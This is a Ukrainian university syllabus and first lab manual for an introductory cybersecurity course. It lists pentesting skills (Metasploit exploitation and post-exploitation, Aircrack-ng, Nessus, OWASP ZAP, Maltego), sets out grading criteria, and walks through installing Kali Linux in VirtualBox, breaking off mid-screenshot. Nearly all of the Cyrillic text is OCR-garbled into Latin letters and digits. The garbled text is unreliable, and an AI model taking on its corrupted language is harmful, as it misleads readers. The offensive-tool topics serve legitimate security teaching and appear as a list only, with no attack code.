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BCTYII

Kypc «Bcryn 1o kibepbe3neku» npu3HaueHui 111 HaOyTTS TEOPETUUHUX 3HAHb
Ta MPAKTUYHUX HABUYOK 3 MUTaHb 3a0e3neueHHs KiOepOesneku. Bkitodae B cebe
HaOyTTS HACTYITHUX TEOPETUYHUX 3HAHB: 3aKOHO/IaBYa Ta HOPMATUBHO-TIpaBOBa 0aza
VYkpaiau B ramy3i iHpopmariiitHoi Ta /abo kibepOe3neku; M>XKHAPOAHI CTaHIAPTH B
ramy3i iHQopmamiiftHoi Ta /abo kibepOe3neku; IHCTPYMEHTalbHI Ta MPUKIAIHI
3aCTOCYHKHM B 1H(opmarliiiHiii Ta/abo kibepOe3meri; MeToau 1 3aco0u 0OpoOKH
iHpopmMmarii; omepamiiiHi cUCTeMHU; Mojell Oe3neku B 1HQopmarliiiHii Ta/abo
kibepOe3nerti; 3axuct 1HQoOpMmarlli, 1Mo oO0poOJIeThbcss Ta 30epiraeTbcsi B
iH(dopmaliiHo-TenekoMyHikariiinux cucremax (IKC); mporpamui Ta mnporpamHo-
anmapaTHi ~ KOMIUIEKCHM  3aco0iB  3axucty 1Hpopmamii (33[); BiAHOBIEHHA
¢ynxuionyBanHs IKC micns peanizanii 3arpos, 3a1iicHeHHS KibepaTtak, 3001B Ta BIAMOB
PI3HMX KJaciB Ta NOXOJKEHHs; MOHITOpHHI mpoueciB (¢yHkuionyBanua IKC;
MEXaHI3MH O€3MeKu KOMI'IOTEPHHUX MEpPEXK; MPOEKTYBaHHS, CTBOPEHHS, CYIPOBIiJ
KOMIUIeKCHUX cucteM 3axucty 1Hpopmanii (KC3I); momeni 3arpo3 ta mozaeni
MOPYIIHUKA; oliHKa 3axuuieHocti iHdopmanii B IKC; ynpasmiHHs 1HPOpMaLIHOO
Ta/ab0 KibepOesnekoro; ayauT 1HGopMaliiHOoi Ta/abo KiOepOe3NeKu; CUMETPUYHI
KPUIITOCUCTEMH; ACHUMETPUYHI KPUIITOCUCTEMH; KPHUOTOrpadiuHi MPOTOKOJIH;
uudposa creraHorpadig; TeXHIYHUN 3axucT 1Hpopmamii. Ta HAOYTTS HACTYMHHX
NPaKTUYHUX HABUYOK W BMIHb 3 KiOepOe3meku, JJis YOro BMITH: pPO3ropTaTu
onepauiifHy CUCTEMY JJI MPOBEACHHS ayJIuTy KiOepOe3neKkn KOMI IOTEPHUX MEPEx
Ta CHUCTEM; BHUKOPUCTOBYBATH I1HCTPYMEHTH MNPUXOBAHOrO 300py TEXHIYHOI
iH(dopMaIii 3 KOMITIOTEpHOI cucTeMu abo Mepexki; TOCHIIKYBaTH ypas3iHBOCTI
CUCTEMU abo Mepexi 3a JIOIIOMOT' OO CIEeIlaIi30BaHOTO CKaHepa
ypaznuBocTeil — NeSSUS; BU3HA4YaTH ypas3iMBOCTI BeO-pecypciB Ta BeO-3aCTOCYHKIB;
KOpHUCTyBaTHCs ckaHepoM ypaznuBocteit — OWASP ZAP; mrykaTu ypas3imBOCTI Ta
qyTTEBY iH(OpPMAIlI0 Yy BIIKPUTHX pecypcax 3a pomomoror 3aco0y Maltego;
KOPUCTYBATUCSl CHIpepaMH; KOPUCTYBATHCS 3acO00M JOCIHIKEHHS ypa3iuBOCTEH
oesmpoBogoBux Mepex  Wi-Fi — Aircrack-ng;  posropratu  pen-test  crammii;
nigrorosmoBatu o podotu Metasploit ta PostgreSQL; 36uparu indopmario 3a
noromororo  Metasploit; mmykarm ypasnmmBocTi 3a  gomomoror  Metasploit;
KOPUCTYBaTHCSI €HKOJEPOM. E€KCIUTyaTyBaTH  ypaszJIUBOCTI; BUKOPHCTOBYBAaTH
MOXJIMBOCTI TMOCT-€KCITyaTalii. BiMoBiAHO O3HAaYe€HE € MPEeAMETOM HaBYaJIbHOI
nucuuruiiag «BeTym o kibepoesnexn» sk ocBiTHbOI komnoHeHTH Ol «Kibepbesneka
Ta 3aXUCT 1H(pOopMaIlii» nepioro (0akanaBpCbKOTo) piBHS BULIOL OCBITH

MerTa 1 3aBaaHHS JUCHUILIIHA

Metor BUKJIaAaHHA AucHUILTiHU «BeTyn 10 kibepoesnekn» € popmyBaHHS y
3100yBayiB BUIIOI OCBITH I'PYHTOBHUX TEOPETUUYHMX 3HAHb, MPAKTUYHUX YMIHb Ta
HAaBUYOK, HEOOXITHUX JUIsl 3aCTOCYBaHHS B MpoQeciiHii MisIbHOCTI y cdepi
KibepOe3nexu.



OCHOBHMMH 3aBJAHHAMM BHUBYCHHS JUCLUUIUIIHA € (OPMYBAHHS HACTYITHHUX
KOMIleTeHIii 0akasaBpa 3 Kidep0Oe3nexku Ta 3axucty inpopmamii:

— 3K 1. 3gaTHicTh 3aCTOCOBYBATH 3HAHHS y MPAKTUYHUX CUTYAIlisIX.

— CK 1. 3paTHicTh 3aCTOCOBYBATH 3aKOHOJIaBYY Ta HOPMATUBHOIIPABOBY 0a3y, a
TaKOX JEepXKaBHI 1 MDKHApOJHI BUMOTH, MPAKTUKH 1 CTaHAApTU Yy MpodeciitHiii
JISIBHOCTI.

—CK 2. 3patnHicTb BHKOPUCTOBYBaTH iH(OpMAaIlIiHI TEXHOJOTIl, CydYacHi
METOAM 1 MoJIei KibepOe3nekn Ta CUCTeMH 3aXUCTy iHhOopMarlii.

—CK 3. 3partHicth 3a0e3medyBaTd HEMEPEpBHICTH Oi13HEC-TIPOLIECIB 3T1IHO
BCTAHOBJICHOT MOJIITUKH KiOepOe3neKn Ta 3aXuCTy iHpopMaIlii.

— CK 4. 3npartnicte 3a0e3nedyBaTu 3axucT iHGopMmarii B iHPOpMAIIHHUX Ta
1H(popMaIitHO-TEIEKOMYHIKAIIIMHUX CHUCTeMax 3TiAHO BCTaHOBJIEHOI TOJITUKHU
ki0epOe3reku Ta 3axucty iHdopmariii.

—CK 5. 3paTHicTh BiAHOBIIOBAaTH (PYHKIIOHYBaHHS I1H(QOpMaUIAHUX Ta
1H(OpMaITHO-TEIEKOMYHIKAIITHUX CUCTEM IICIs peani3auii 3arpo3, 31HCHEHHS
kiOepaTak, 3001B 1 BIIMOB Pi3HHMX KJIACIB Ta MOXOKEHHSI.

—CK 8. 3patnicTh 3acTOCOBYBaTM METOIM Ta 3aco0M KpUOTOrpadigHoro
3axucTy iH(popMallii Ha 00’ ekTax 1HPOPMALIHHOI JISITEHOCTI.

— CK 9. 3paTHICTh 3aCTOCOBYBAaTH METOJM Ta 3aCOOM TEXHIYHOTO 3aXHCTy
iH(popmari Ha 00’ ekTax 1HGOPMAIIHHOT AISUTBHOCTI.

—CK 10. 3parHicTh BUKOHYBAaTH MOHITOPUHT 1HGOpPMAIIMHUX MPOIECIB,
aHaJi3yBaTH, BUSBISATH, OLIHIOBAaTH MOXJIMBI  Bpa3JMBOCTI Ta  3arpo3u
iH(dopMaIiiHoOMy TpocTopy U 1H(MOPMAIIHUM pecypcam 3TiIHO 3 BCTaHOBJICHOIO
MOJIITUKOIO 1H(hOpMAIIiitHOT Oe3MeKH.

dopmaT TUCIUTLIIHA

Jns nenHoi GopMu HaBYaHHS:

Buknananus kypcy nependadae Jjisi 3aCBO€HHSI JAUCHUILIIHM TpaauIliiHi
JIEKIIIMHI 3aHATTS 13 3aCTOCYBaHHSIM MYJIbTUMEIINHUX MPE3CHTAIll, y TOETHAHH] 3
1a00paTOPHUMHU 3aHSATTSIMU.

dopmart ounwmii (Face to face)

JList 3a049HOi hopMH HABYAHHS:

ITlin wuac cecii ¢opmar ounumit (Face to face), y wmixceciliHuit
nepion — aucraniitauii (online).

PesynbraTtun HaBYaHHS

VY pe3ynbTari BUBYEHHS JUCLMIUIIHU CTYACHT MOBUHEH 3a0€3MEUYUTH HACTYIHI
MPOrpaMHi pe3yJbTaTH HABUYAHHS:

—PH9. 3nat Ta 3acTOCOBYBAaTH 3aKOHOJABCTBO YKpaiHM Ta MDKHApOAHI
BUMOTH, TPAKTUKH 1 CTAHAAPTH 3 METOIO 3/IIHCHEHHS MTPOQECIHOT TISTBHOCTI B Tally3i
KibepOe3nexu Ta 3aXucTy iH(opmarrii.



—PH 10. BuxopuctoByBaTH cyd4acHi 1H(pOpMaIHI TEXHOJOTii, METOIH 1
Mozieni KibepOe3nekn Ta CUCTEM 3aXUCTy iHpopMalli s 3A1iCHeHHS mpodeciitHOT
TUSUTBHOCTI.

—PH 11. IInanyBaTu MiATOTOBKY Ta 3a0e3ledyBaTH HEMEPEPBHICTh Oi3HEC-
MpOLIECIB B OpraHi3alisiX 3TiHO 31 BCTAHOBJCHOIO TMOJITUKOIO KiOepOe3neku 3
ypaxyBaHHSI BUMOT JI0 3aXUCTy iH(opMarrii.

—PH 12. 3acrocoByBaTM MeTOoAM Ta 3aco0M 3axucTy iHpopMmaiii B
iHpopMariiiHux Ta 1H(QOpPMaIIHO-TEICKOMYHIKAIIMHUX CUCTEMaxX BIAMOBIIHO JI0
BCTAHOBJICHOT MOJIITUKHU 1H(POPMAIIHHOT OE3MEKH.

—PH 13.  BmnpoBamxyBaTh,  HaJallITOByBaTH,  CYNPOBOJKYBaTH  Ta
HIATPUMYBATH (PYHKIIIOHYBaHHS MPOTPAMHUX 1 MPOrpaMHO-anapaTHUX KOMILIEKCIB 1
cucteM KiOepOe3nekn Ta 3axucTy iH(opmarii Sk HEOOXiTHI MPOUEeTypH IS
(yHKUIOHYBaHHS 1H(QOpPMALIHHUX W 1H()OPMALIMHO-TEIEKOMYHIKAIMHUX CUCTEM
Ta/a00 iHPpacTpyKTypu Opraxizaiiii B LJIOMY.

— PH 14. BupimryBaTu 3a/1a4l ynpaBlliHHS NPOLECAMU BIIHOBJIEHHS IITATHOTO
(yHKUIOHYBaHHS 1H(OPMAIIHHUX Ta 1HPOPMALIMHO-TEIEKOMYHIKAIMHUX CUCTEM 3
BUKOPHUCTAHHSM IPOLIEAYpP PE3ECPBYBAHHS 3T1JIHO BCTAHOBJIEHOI MOJITHUKU O€3MEKH 1
3a0e3neuyBaTu (DYHKIIIOHYBAaHHS CIEHIAIILHOTO MPOrPaMHOIO 3a0€3MeyYeHHs 11010
3aXMCTY Ta BIIHOBIICHHS 1H(QOpMaIIii.

— PH 18. Anami3yBaTu, 3aCTOCOBYBaTH METOJU Ta 3acO0HM KpUNITOTpadidHOTO
3axucTy iH(popMallii Ha 00’ ekTax 1HPOPMALIHHOI JISITEHOCTI.

—PH 19. BupimyBatu 3ama4i 100 oOprasizamii Ta KOHTPOJIO CTaHy
KpunTorpadiyHoro 3aXUCTy 1HPOpMallii, 30KpeMa BIAMOBIIHO 10 BUMOT HOPMAaTUBHUX
JIOKYMEHTIB.

— PH 20. Busznauatu 3arpo3u CTBOpEHHS TEXHIYHUX KaHAIIB BUTOKY 1H(popMaItii
Ha 00’ exTax 1H(POpMAIIHHOT NIsUTBHOCTI; BIIPOBAXKYBATH 3aCO0H 1 3aX0/IM TEXHIYHOTO
3axucTy iHpOopMallil BiJl BATOKY TEXHIYHUMH KaHAJIAMHU, TPOBOJUTH OOCITyTrOBYBaHHS
1 KOHTPOJIb CTaHy arapaTHUX 3ac001B 3aXUCTy 1H(POpMaIIlii Ta KOMIUIEKCIB TEXHIYHOTO
3axXUCTy iH(pOopMAIIii.

—PH 21. BuxoHyBaTu BIPOBAKEHHS, MIATPUMKY, aHami3 eQeKTUBHOCTI
CUCTEM BHSBJEHHS HECAHKLIOHOBAHOTO JOCTyIy, JAiil 3 1H(dopmalieo B
iHdopMaIiiHIA CcUCTEeMI, Bpa3IUBOCTEH, MOXJIMBUX 3arpo3 iHdopmarliitHoMy
npocTopy i iHdopMaIliitHuUM pecypcaM Ta BUKOPUCTOBYBATH KOMILJIEKCH 3aXUCTY JJIS
3a0e3nedYeHHs] HEOOXITHOTO pPIBHS 3aXWIIEHOCTI iH(opMalii B iHGOpMaIiitHuX
CHUCTEMaXx.

—PH 47. BupimyBat 3amadi  3axucTy 1HQopManii, mo oOpoOiseThCs B
1H(OpMaIIHO-TEIEKOMYHIKAI[IHHUX CUCTEMAaX 3 BUKOPUCTAHHSAM Cy4YaCHHMX METO/IIB
Ta 3ac001B KpUNITOTpadiuHOTO 3aXUCTY 1H(POpMAIIii.

— PH 48. BukonyBaTu BOpPOBaPKEHHA Ta MIATPUMKY CHUCTEM BUSIBIICHHS
BTOPIHEHb Ta BHUKOPHUCTOBYBATH KOMIIOHEHTH KPHUNTOTpaigyHOrO 3aXHUCTy MJIst
3a0e3nedyeHHs] HEOOXIAHOTO pIBHS 3axuiieHocTi iH(opmarii B iH(popMaIliitHo-
TEJIEKOMYHIKaLIHHUX CUCTEMaX.

— PH 53. BupimyBat 3amadi  a”aiizy NOpPOTPaMHOTIO KOJly Ha HasBHICTb
MO>KJIMBUX 3arpo3.
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AxkasieMiyHa JI0OOPOYECHICTb:

OdiKyeThCsl, 1O CTYACHTU OyIyTh JOTPUMYBATHUCS MPHUHIIMIIB aKaJIeMIYHOI
T0OPOYECHOCTI, YCBIIOMJIIOBATH HACIIAKH 11 MOpyIIeHHs. [{eTanpHile 3a MOCHIaHHIM
URL : http://www.kntu.kr.ua/doc/dobro.pdf

Ha mepmriit nmekmii 3m00yBadyaM OCBITH TOBOASTHCS TojiokeHHs CrartTti 42.
AkaznemiuHa 0OpOYECHICTh, 3akoHy YKpainu «IIpo ocBiTy»

BiaBinyBaHHS 3aHATH

BinBigyBaHHS 3aHSATH € BAKIMBOIO CKJIQJ0BOIO HaBUYaHHs. OYiKyeThCs, 110 BCl
CTYJICHTH BiJIBIIAfOTH JICKITii 1 1a00paTOpHi 3aHATTS KypCy.

[TpomyiieHi 3aHATTS MOBUHHI OYTH BiAMpaIbOBaHi HE Mi3HIIIE, HIXK 32 THXKICHb
710 3aJIIKOBOT cecii.

[loBe/iHKA HA 3aHATTSIX

HenonmycTumicTs: 3ami3HeHb Ha 3aHATTS, CIUCYBaHHS Ta IUIariaT, HECBOEYACHE
BUKOHAHHS TIOCTABJICHOTO 3aBIaHHS.

[Ipu opranizamii  ocBiTHROro mpouecy B LleHTpanbHOYKpaiHCBKOMY
HalllOHAJTbHOMY TEXHIYHOMY YHIBEPCUTETI CTYJAEHTH, BUKJIaJadl Ta aJMIHICTpaLis
JTIIOTh  BiAMOBIMHO 10: IlonmokeHHs TIpo Opradizaimilo OCBITHBOTO IPOIIECY;
[TonoxeHHs: Mpo OpraHi3allilo BUBUCHHS HaBYAIBHUX JHUCIHILIIH BUIBHOTO BUOODY;
[TonoxeHHs: npo pyOLKHUM KOHTPOJb YCIIIIHOCTI 1 CECIiHY aTecTaiiio CTYJICHTIB
HHTY, Koaekcy akanemiunoi noopouyecHocti [THTY.

KouTtpoJjb 3HaHb

Kpurepii oLiHKY 1CTIATY:

ominky «BigmMinuo» (90-100 6amiB, A) — 3aCIIyroBy€ CTYACHT, SKHIA:

— BCEOIYHO, CHCTEMATHMYHO 1 IJIMOOKO BOJOJI€ HABYAJbHO-IPOrPaMOBUM
MarepiaioM;

— BMI€E CaMOCTIfHO BHWKOHYBAaTH 3aBJlaHHs, IepeadadyeHi MOporpamoro,
BUKOPHUCTOBY€E HaOyTi 3HAHHSA 1 BMIHHS Y HECTaHJIAPTHUX CUTYAIlIsIX;

—3acBOIB OCHOBHY 1 O3HAalOMJIEHMH 3 JOAATKOBOIO JIITEPATypolo, sKa
PEKOMEHI0BaHa MPOrpamoro;

—3aCBOIB B3a€MO3B'SI30K OCHOBHUX TMOHATH TUCIUIUIIHA Ta YCBIAOMIIIOE iX
3HaueHHs AJs npodecii, sIKy BiH Ha0yBae;

— BUTBHO BUCJIOBJIIOE BJIACHI JYMKH, CAMOCTIMHO OITIHIOE PI3HOMaHITHI JKUTTEBI
ABUIIA 1 PaKTH, BUABIISAIOYM OCOOUCTICHY MO3HUIIIIO;

— CaMOCTIMHO BHM3Hauya€ OKpeMI I[iJIi BJIACHOI HaBYAJbHOI AISUTLHOCTI, BUSBUB
TBOpYl 37I0HOCTI 1 BUKOPUCTOBYE iX TPH BHUBUYCHHI HABYAIBHO-TIPOTPAMOBOTO
MaTepiaiy, IpOsSBUB HAXUJI 10 HAYKOBOT pOOOTH.

oniHKYy « 100pe» (82-89 6aiB, B) — 3aciyroBye cTyneHT, KUl

— MOBHICTIO OMAHYBAaB 1 BUTbHO (CaMOCTIHHO) BOJIOJI1€ HABYAJIbHO-ITPOTPAMOBUM
MaTepiajioM, B TOMY YHCI1 3aCTOCOBY€ HOTo Ha MpakKTHUIll, MA€ CUCTEMHI 3HAHHSI
JOCTaTHHOMY O00CS31  BIAMOBIMHO 7O HABYAIBHO-TIPOTPAMOBOTO  MaTepiaiy,
apryMEHTOBAaHO BUKOPUCTOBYE IX Y PI3HUX CUTYaIlisiX;
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— Mae 3JIaTHICTh JI0 CaMOCTIMHOTO MoIIyKy iH(opMallii, a TaKoX JI0 aHaTi3y,
MIOCTAaHOBKH 1 PO3B'si3yBaHHS ITpobJieM nMpodeciitHOTO CIIpsSMYyBaHHS,

— T 9ac BIATOBIiZI JOMYCTHB JI€AKI HETOYHOCTI, SIKI CAMOCTIHO BHIIPABIISE,
n00upae MepeKOHINBI apTyMEHTH Ha IMiITBEPI>KEHHSI BUBUEHOTO MaTepiaiy;

omiHKy «100pe» (74-81 6au, C) 3acayroBye CTYACHT, SIKUIL:

— B 3araJbHOMy poOOTYy BHKOHAB, aji¢ BIJIMOBIAa€ Ha €K3aMEHiI 3 IEBHOIO
KIJIBKICTIO ITIOMHJIOK;

— BMi€ TIOPIBHIOBATH, Yy3arajbHIOBATH, CHUCTEMATH3yBaTH 1H(OpPMAIIO ITijl
KEpIBHUIITBOM BHKJaJada, B IIJIOMY CaMOCTIHHO 3aCTOCOBYBATH Ha IPaKTHII],
KOHTPOJIIOBATH BJIACHY J1SUIbHICTB;

— OMaHyBaB HABYAJILHO-MPOrPaMOBUN MaTepiall, YCIIIIHO BUKOHAB 3aBJIaHHA,
nependaveHi MporpaMmor0, 3acBOIB OCHOBHY JIITEpaTypy, sIKa pEKOMEHJOBaHa
MIpOrpamoro;

OLIHKY «3a10BiIbHO» (64-73 6aym, D) — 3aciIyroBye CTyIEHT, SIKHIA:

— 3Ha€ OCHOBHMI HaBYAJIBHO-IIPOrpaMOBHUI MaTepial B 00Cs31, HEOOXITHOMY
JUTSI OJANIBIIIOTO HaBYAaHHS 1 BAKOPUCTAHHS MOro y MallOyTHINM npodecii;

— BUKOHYE€ 3aBJIaHHsI, aJie IPU PIIEHH] AOMYCKa€ 3HAYHY KUIbKICTh IOMUJIOK;

— O3HAOMJIEHHH 3 OCHOBHOIO JITEPATYpPOIO, sIKa PEKOMEHI0BaHa [IPOrPaMoIo;

— JIOIyCKAa€ Ha 3aHATTAX YU €K3aMEH1 IOMUWIIKH [TPY BUKOHAHHI1 3aBAaHb, aJi€ 1]
KEpIBHULITBOM BHKJa/laya 3HaXOAUTh HUIAXU IX YCYHEHHS.

OIIHKY «3a10BiIbHO» (60-63 6aym, E) — 3acyroBye CTyICHT, KUl

— BOJIOJIIE OCHOBHUM HaBYAJIBHO-NIPOTPAaMOBHM  MarepiaJioM B  00cs3l,
HEOOXITHOMY IS TOJAJIBIIOTO HaBYaHHS 1 BUKOPUCTaHHS MWOro y ManOyTHIN
npodecii, a BUKOHaHHS 3aBJIaHb 3aJI0BOJIbHSE MiHIMalbHI KpUTEpIi. 3HAHHA MalOTh
PENPOAYKTUBHHUM XapaKTep.

oIlliHKa «He3a10BiJILHO» (35-59 GaiB, FX) — BUCTaBIIAETLCS CTYACHTY, SIKUI:

— BUSIBUB CYTTEBI MPOTATMHUA B 3HAHHSIX OCHOBHOTO MPOTPaAMOBOT0 Martepiaiy,
JOIYCTUB MPUHIUIIOBI TOMUJIKKA Y BUKOHAHHI MepeA0auyeHrX IpOorpaMor0 3aBaHb.

OIIIHKY «He3a10BiJIbHO» (35 6aiB, F) — BUCTABISETHCS CTYICHTY, SIKUM:

— BOJIOJII€ HAaBYaJbHUM MaTeplaioM TUIBKM Ha PIBHI €JIEMEHTapHOIO
pO3Mi3HaBaHHs 1 BIATBOPEHHS OKpeMuX (akTiB a00 HE BOJIOIIE 30BCIM;

— JIOTIyCKae TpyOi TOMWJIKA TIpM BUKOHAHHI 3aBjJaHb, MependadyeHux
IPOrpamMoro;

— HE MOXe€ MPOJIOBKYBAaTH HaBUAHHS 1 HE TOTOBHM 70 TPpOodECiitHOT MisUThHOCTI
Iicys 3aKIHYEHHS! YHIBEPCUTETY 0€3 MOBTOPHOI'O BUBYEHHS JAHOI JUCHUILIIHU.

IIpu BUCTaB/IeHHI OLIHKM BPAaXOBYKTbHCH Pe3y/ibTATH HABYAJIBLHOI PpO00TH
CTY/IeHTa MPOTSTOM CeMeCTpy

Kpurepii omiHku 3aiiky:

— «3apaxO0BaHO» — CTYJIGCHT Ma€ CTIAKI 3HaHHS TMPO OCHOBHI TOHSTTSA
JTUCITUTUTIHYT, MOXe C(HOPMYITIOBATH B3a€EMO3B'I3KH M1’K TTOHSITTSIMHU.

— «HE3apaxOBaHO» — CTYJICHT MAa€ 3Ha4yHl MPOMYCKH B 3HAHHIX, HE MOXKE
c(hOpMyJTIOBaTH B3a€EMO3B'A3KY MDK MOHSTTSIMH, II0 BHBYAIOTHCS B KypcCi, HE Mae
YSIBJIEHHS TIPO OLIBIIICTh OCHOBHHUX TOHSTH TUCIHILTIHU, 1[0 BUBYAETHCS.
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JlaGopaTopHna podora Ne 1

Tema: PosropranHs omnepaiifHoi CHUCTEMH MJii TPOBEICHHS AaAyAHUTY
Kib6epOe3neKky KOMIT FOTEPHUX MEPEXK Ta CUCTEM

Mera: Otpumaru HaBUYKHA HEeOOXiAH1 ans posropranHs OC s mpoBeAeHHA
aynuTy iH(pOopMaliiiHOT Oe3neKu

TeopernuHi BizomocTi

Jns mpoBeneHHs ayauTy iHGoOpMaIiiHOI Oe3neku TeBHOI i1H(opMariiiHol
CUCTEMH, 3a3BUYaii, HEIOCTATHbHO JIUIIIEC 3HAHb CTAHAAPTIB, HOPMATHUBHHUX JOKYMEHTIB
Ta 3aKOHOJIaBCTBA KpaiHM, 7€ TPAIlIO€ 3aXuIleHa cucreMa. [[iux 3HaHb TOCTaTHBO AJIs
oprasizauii poOOTHM TakOi CHUCTEMH, MPOTE KOJIM CIpaBa JOXOIUTh A0 MNEPEBIPKU
3aXMIINEHOCTI CUCTEMH, TaK OM MOBHUTH, B IOJHOBUX YMOBaX, HCOOXITHI 1 3HAHHA, 1
HAaBUYKHU POOOTH 3 BIAMOBIAHUMH THCTPYMEHTAMH, CUCTEeMaMH Ta ppermBopkamu. |
3HOBY X TaKd, 3HaHb Ta HABUYOK BUKOPHCTOBYBAHHS JIMIIIE NEBHUX 1HCTPYMEHTIB
TaKOX BUSIBIIIETHCA HEJOCTATHBO, OCKUIbKY 1H(hOpMaIliiiHa Oe3rneka — Ie raity3b, 110
Iy’Ke TMHAMIYHO PO3BUBAETHCA. Y 3B’SI3KY 3 LIUM, PI3HOMAHITHI T'PYMH CIIELIATICTIB Ta
amMaTopiB PO3pOOWIIN HU3KY TUCTPUOYTHBIB OmepaIiiiiHoi cucremu Linux.

Cepen ycix qucTpuOyTHBIB, TPU3HAYEHUX IS ayAUTY 1HPOPMALIIITHOI OE3IEeKH,
HaiOIbe TomMpeHHs oTpuMmaB auctpuOytuB Kali Linux, mo po3poOserscs
xommaniero Offensive Security (10 Toro mepuricth 3aiiMaB auctpudbytuB BackTrack,
10 TaKoX po3poOisBcs miero kommaniero; Kali € mamankom BackTrack). Ileit
TUCTPUOYTHUB BIAPIZHAETHCS BEJIMKUM HA0OPOM 1IHCTPYMEHTIB, K1 BKE HAJIAIITOBAHO
1 OUTBILIICTD 3 SKMX TOTOBI MPAIIOBaTH «3 KOPOOKW», BEIUKUM HaOOPOM arapaTHOro
3a0€3MeUeHHs, 0 MIATPUMYEThCS 0€3 J0JaTKOBUX HajalllTyBaHb, CTaOLIbHICTIO
poOOTH, PErYIIPHUMHU OHOBJIEHHSIMU, TAPHOIO MIATPUMKOIO Ta BEITUKHUM aKTUBHUM
KOM "TOHITI.

Okpim 1mworo, Offensive Security Bumyckae 1 omepalliiiHy cuctemy IS
MOOUTbHUX TeNe(OHIB, TUIAHIIETIB Ta JAESKUX MIKpo-KoHTpoJepiB — NetHunter,
nobynoBany Ha ocHoBi Kali Linux, mo mnpamroe Ha ycix Android-mpuctposx,
nournatouu 3 Bepciit Lollipop (5.1) Ta Marshmallow (6.0).

Bapro 3ayBaxkuth, mo auctpudytus Kali Linux moxiuBo 3amyctutu 3 duer-
kaptu y pexumi Live. Ileir Bapiant posropranas OC aisi TpOBEACHHS ayIuTy
iH(opMarliiiHoi Oe3neky Mae MEBHY MepeBary HajJl BIpTyali3alli€lo, a caMe — HaJIaHHs
MOBHOTO JOCTYIy /O PECYpCiB KOMIT'IOTE€pa, M0 CTAE KPUTUYHHUM ISl aAyAUTY
0e31poToBUX Mepex (He mnoTpedye BUKOPHUCTaHHS JOAATKOBHX O€31pOTOBUX
agantepiB). [IpoTe a1 MOBHOIIHHOTO MOTO BUKOPUCTAHHS BapTO MPOBECTU MPOLIEC
iHcTanAmii. [HCTpyKIii BCTAHOBJICHHS OMEpalliifHOI CHUCTEeMH Ha (QIel-KapTy
(ctBopennst Live-USB) mokHa 3HaWTH Ha OQIIIHHOMY CalTi 3a MOCHUJIAHHIM
https://www.kali.org/docs/usb/. Tenep mnepelizeMo A0 BUKOHAHHS JaOOpPATOPHOL
poboTH.

3aBaHTaXUTU TUCTPUOYTHUB MOXIIMBO Ha odiliiiHoMy caiiti kali.org y po3aini
3aBanTaxkeHHs1 (Download/Get Kali). JIuctpuOyTHBH PO3MOBCIOKYIOTCS Yy BUTIISAI

10



https://www.kali.org/docs/usb/
https://www.kali.org/docs/usb/
https://www.kali.org/docs/usb/

32x- Ta 64X-pO3pSIAHUX CUCTEM. 3aBaHTAXUTU (Pailil MOKIIMBO K MPSIMO 3 CEPBEPIB
caiiTy, TaK i 3a 10MoMororo npoTokoiry BitTorrent.

[Tepen movyaTkoM IHCTAJIALI] BAPTO BUSHAYUTHCS, YU CUCTEMY Oy/I€ pO3TOPHYTO
y BIpPTYaJlbHOMY CEpeIOBHIN (BipTyajlbHa MalllMHA), Y Ha peajbHId CHCTEMI.
Posropratu TaKky cucTeMy peKOMEHIOBAaHO Y BipTyaJIbHOMY CEpEIOBHIIl, aPKe BOHA
He Oyje BIUTMBAaTH Ha OCHOBHY CHCTEMY UM 3aJIKaTH BiJ Hel, MOXXIIUBO JIETKO
NEpPEeMUKATHCS MK CHCTEMaMH, CIIPOIIEHE YMPaBIiHHS BipTyadbHOK MAaIIHMHOIO,
JIETKICTh HaJaImTyBaHHS TOmmo. I IIbOTO HEOOXiTHO OMATKOBO 3aBaHTAKHUTU
BIJIMTOBITHE MpoTrpaMHe 3a0e3neuenHs. O0upaTi MOxKHa cepell 6aratbox, ajie B paMKax
TEOPETUYHUX BiIOMOCTEH /10 1i€i 1abopaTopHOi poOOTH XOTLIOCS O 3BEpHYTH yBary
Ha mporpamHe 3a0e3neuenHs Bijg kommanii Oracle, a came Oracle VirtualBox.

VirtualBox  pexomeHmoBaHO  3aBaHTaXyBaTH 3 O(imiiiHOro  caiTy
https://www.virtualbox.org/, e 13 po3nOBCIOIKYETHCS SIK IS ONIEPAMIMHUX CHCTEM
cimeiictrea Windows, Ttak i1 jgmsa Linux. [leTasbHi IHCTPYKINI 3 IHCTAJIAINl IS
oreparliitHoi cuctemu LiNUX 3HaXOASATHCS HA CTOPIHIN 3aBaHTaKCHHS. [HCTASINIS TSt
OC Windows € abcoIfoTHO CTaHAapTHOIO, ajie HeOOX1IHO 3BEpHYTH YBary, 1o i 9ac
IHCTANAIIil Ha KOPOTKUU MPOMIKOK Yacy OyJie BUMKHEHO JOCTYI JI0 MEpExi — I1e
MOB’5I3aHO 3 IHCTAIAIIEI0 MEPEKEBUX JIpailBepiB BIpTyabHOI MAIlIMHU. (HA MOMEHT
CKJIaJlaHHSI METOJJMYHUX BKa3iBOK akTyaybHOIO € Bepcis [13 VirtualBox 7.0).

[Ticnst TOro, SIK BUBHAUYEHO CEPEIOBHIIE, B SIKOMY OyJe PO3TOPHYTO CHUCTEMY,
HEOOX1THO miAroTyBaTH oOpa3s. 3 odimiiiHoro caity Tpeba 3aBanTaxutn 1SO-06pa3
(po3min “Installer Images™), s 3py4HOCTI HOro MOKHA 3alMcaTd Ha (Quiem-Kapry.
[HCTpyKIii 31 CTBOPEHHS Ta HaJAIITYBaHHS BIPTYaJbHOI MAIIMHM Ha 1HIIUX
wiatopMax  MOXKHA  3HAWTH Ha  odimidHOMY CcalTi 3a  MOCHUJIAHHSM
kali.org/docs/virtualization.

JIisi BCTAHOBJIEHHS CUCTEMH Y BIPTyaJlbHOMY CEpEIOBHINI HEOOXIAHO, IS
MOYaTKy, CTBOPUTH HOBY BipTyalibHYy MamiuHy. J{is mporo 3amyctith VirtualBox ato
iamre Biamosigue I13 i cTBopiTh Mammny. Hiwkue Ha ckpinmorax (Pucynok 1.1-1.7)
MOKa3aHa MOCIIOBHICT CTBOPEHHS BipTyanbHol Mamuau i [13 VirtualBox:
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¥# Oracle VM VirtualBox Manager
File Machine Help

Preferences  Import Export Add

Welcome to VirtualBox! HaTUCHITL

The left part of application window contains global tools and lists all virtual machines
and virtual machine groups on your computer. You can import, add and create new
VMs using corresponding toolbar buttons. You can popup a tools of currently selected
element using corresponding element button.

You can press the F1 key to get instant help, or visit www.virtualbox.org for more
information and latest news.

Pucynox 1.1 — HatucHits “New” ajis cTBOpeHHS! HOBOi BIpTyajabHOT MalllUHU

V¥ Create Virtual Machine ? X

Virtual machine Name and Operating System
Please choose a descriptive name and destination folder for the new virtual machine. The name you choose will be

